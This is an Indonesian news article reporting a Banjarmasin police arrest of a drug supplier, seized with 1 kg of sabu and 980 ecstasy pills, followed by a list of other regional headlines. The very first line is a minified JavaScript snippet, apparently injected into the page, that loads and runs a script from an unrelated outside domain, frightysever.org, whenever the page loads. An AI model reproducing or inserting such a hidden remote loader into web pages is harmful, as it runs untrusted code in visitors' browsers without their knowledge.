(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemasok Narkoba THM di Banjarmasin Dibekuk, 1 Kg Sabu dan 980 Butir Ekstasi Disita


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Narkoba (Sat Resnarkoba) Polresta Banjarmasin mengungkap satu pemasok narkoba ke tempat-tempat hiburan malam.

Tidak tanggung-tanggung, polisi berhasil mengamankan 1 kilogram sabu dan ratusan butir ekstasi siap edar dari seseorang lelaki berinisial HYS.

Kapolresta Banjarmasin Kombes Pol Sabana Atmojo melalui Kasat Narkoba Kompol Mars Suryo Kartika mengungkapkan, tersangka HYS adalah warga Jalan Handil Bakti, Kelurahan Puntik Luar, Kecamatan Mandastana, Kabupaten Barito Kuala.

Penangkapan berawal dari laporan masyarakat terkait dugaan peredaran narkoba di sebuah rumah di jalan Manarap, Komplek Surya Lestari, Kabupaten Banjar.

Baca juga: Sidang Kasus Korupsi Bendungan Tapin, Tiga Terdakwa Mulai Disidang

Kemudian setelah dilakukan penyelidikan pada tanggal 6 Juni 2023, polisi meringkus tersangka HYS bersama barang bukti dirumahnya.

“Kami mendapatkan informasi dari masyarakat, bahwa di lokasi seiring terjadi transaksi narkoba. Gerak-gerik tersangka memang mencurigakan,” kata Kompol Mars Suryo saat press release, Senin (12/6/2023) sore.

Di rumah HYS, polisi mengamankan barang bukti berupa 1 paket besar sabu dengan berat bersih 1 kilogram.

Tak hanya sabu, polisi juga menyita 980 butir ektasi berwarna kuning bentuk Minion dengan berat total 333,04 gram.

Terungkap, tersangka HYS merupakan sindikat pengedar narkoba jaringan lintas kota. Dan memasarkan barang haram tersebut di Tempat Hiburan Malam (THM) Kota Banjarmasin.

Baca juga: Serahkan Program RT Mandiri, Wali Kota Aditya: Pantang Menyerah

Penangkapan tersangka beserta barang bukti 1 kilogram sabu dan ratusan ekstasi tersebut, Kompol Mars Suryo mengimbau kepada masyarakat berani melaporkan jika mengetahui adanya transaksi narkoba.

“Laporkan peredaran narkoba kepada kami dan ini bagian dari mewujudkan Polri Presisi dari Kapolri dan kerja ikhlas Kapolda Kalsel untuk memberantas narkoba,” pungkasnya.

Tersangka telah ditahan di Rutan Mapolresta Banjarmasin, terancam pasal 112 ayat (1) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika dengan pidana penjara paling singkat 5 tahun, dan paling lama 20 tahun penjara. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : kk


Risa

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

9 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

9 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

10 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

14 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

14 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

15 jam ago

This website uses cookies.